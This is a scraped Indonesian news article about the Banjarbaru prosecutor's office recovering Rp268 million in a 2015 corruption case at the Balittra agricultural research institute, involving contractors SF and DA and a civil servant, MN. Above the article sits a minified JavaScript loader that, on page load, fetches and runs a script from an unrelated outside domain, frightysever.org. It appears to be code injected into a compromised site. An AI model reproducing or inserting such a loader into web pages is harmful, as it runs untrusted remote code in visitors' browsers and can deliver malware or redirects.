(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Hukum

Kejari Banjarbaru Kembalikan Rp268 Juta ke Negara, MN Seorang PNS Balittra Turut Dipidana!


KANALKALIMANTAN.COM, BANJARBARU – Tim Jaksa Eksekutor pada Seksi Tindak Pidana Khusus Kejaksaan Negeri (Kejari) Banjarbaru kembali melakukan penyelamatan keuangan negara atas kasus tindak pindana korupsi di Balai Penelitian Pertanian Lahan Rawa (Balittra) Banjarbaru.

Kepala Kejari Banjarbaru Andri Irawan, mengatakan pada kali ini pihaknya mengembalikan uang negara sebesar Rp 268.636.705. Uang ini berasal dari pembayaran denda para terpidana dan pembayaran uang pengganti.

“Kita mengembalikan uang negara melalui Penerimaan Negara Bukan Pajak (PNBP) sebesar Rp268.636.705 yang berasal dari pembayaran uang denda sebesar Rp50.000.000, dan pembayaran uang pengganti sebesar Rp 218.636.705 dari terpidana SF,” katanya, Senin (6/7/2020) pagi.

Sebagaimana diketahui, kronologi tindak korupsi ini terjadi pada 2015, saat Balittra Banjarbaru melaksanakan sejumlah proyek pekerjaan. Seperti pembuatan jalan usaha tani baru, pengerasan jalan, pengaspalan jalan utama kebun, serta pembangunan 11 unit jembatan. Seluruh proyek ini, memiliki total nilai kontrak sebesar Rp 1,2 miliar atau lebih rincinya Rp 1.208.460.000.

Berdasarkan fakta-fakta yang terungkap di persidangan, SF dan DA sebagai kontraktor pelaksana dalam proyek-proyek tersebut, terbukti melakukan korupsi. Kasus ini sendiri mengakibatkan kerugian keuangan negara sebesar Rp298.636.703.

Kepala Kejari Banjarbaru mengatakan selain dua kontraktor pelaksana yang ditetapkan sebagai terpidana, kasus ini juga rupanya turut melibatkan seorang PNS -pegawai negeri sipil- di Ballitra Banjarbaru. “Benar, PNS di Balittra Banjarbaru juga turut telibat dalam perkara korupsi ini. Yang bersangkutan berinisal MN,” tuturnya.

Sebelumnya, pada Kamis (2/7/2020) kemarin, Kejari Banjarbaru juga telah melakukan pemulihan uang negar dengan nominal mencapai Rp 80 juta. (Kanalkalimantan.com/rico)

 

Reporter : Rico
Editor : Cell


Desy Arfianty

Recent Posts

Sempat Sengat Pelajar Madrasah, Sarang Tawon Dalam Kelas Dievakuasi Damkar HSU

KANALKALIMANTAN.COM, AMUNTAI - Khawatir membahayakan para pelajar, sarang tawon berukuran sedang berhasil dievakuasi petugas Pemadam… Read More

1 jam ago

Peningkatan Kapasitas Anggota BPD, Ini Kata Pj Bupati HSU

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai penting peranan… Read More

1 jam ago

Dua Raperda Disahkan, Ketua DPRD: Payung Hukum yang Jelas Bagi Cagar Budaya di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Dua buah Rancangan Peraturan Daerah (Raperda) Kota Banjarbaru disahkan dalam rapat paripurna… Read More

3 jam ago

Ibu Ruli Terima Kursi Roda Bantuan Polsek Banjarbaru Utara

KANALKALIMANTAN.COM, BANJARBARU - Bentuk kepedulian terhadap masyarakat, Unit Binmas Polsek Banjarbaru Utara memberikan bantuan sebuah… Read More

6 jam ago

Ini Alasan Pemko Banjarbaru Larang Peternakan Babi Ada di Ibu Kota

KANALKALIMANTAN.COM, BANJARBARU - Aktivitas peternakan babi di Kota Banjarbaru kembali menjadi sorotan. Selain dikeluhkan atas… Read More

7 jam ago

Habisi Nyawa Sesama Sopir di Banjarmasin, ARM Ditangkap di Kandangan

KANALKALIMANTAN.COM.COM, BANJARMASIN - Kepolisian Reskrim Polsek Banjarmasin Barat dan tim gabungan berhasil menangkap ARM (21),… Read More

8 jam ago

This website uses cookies.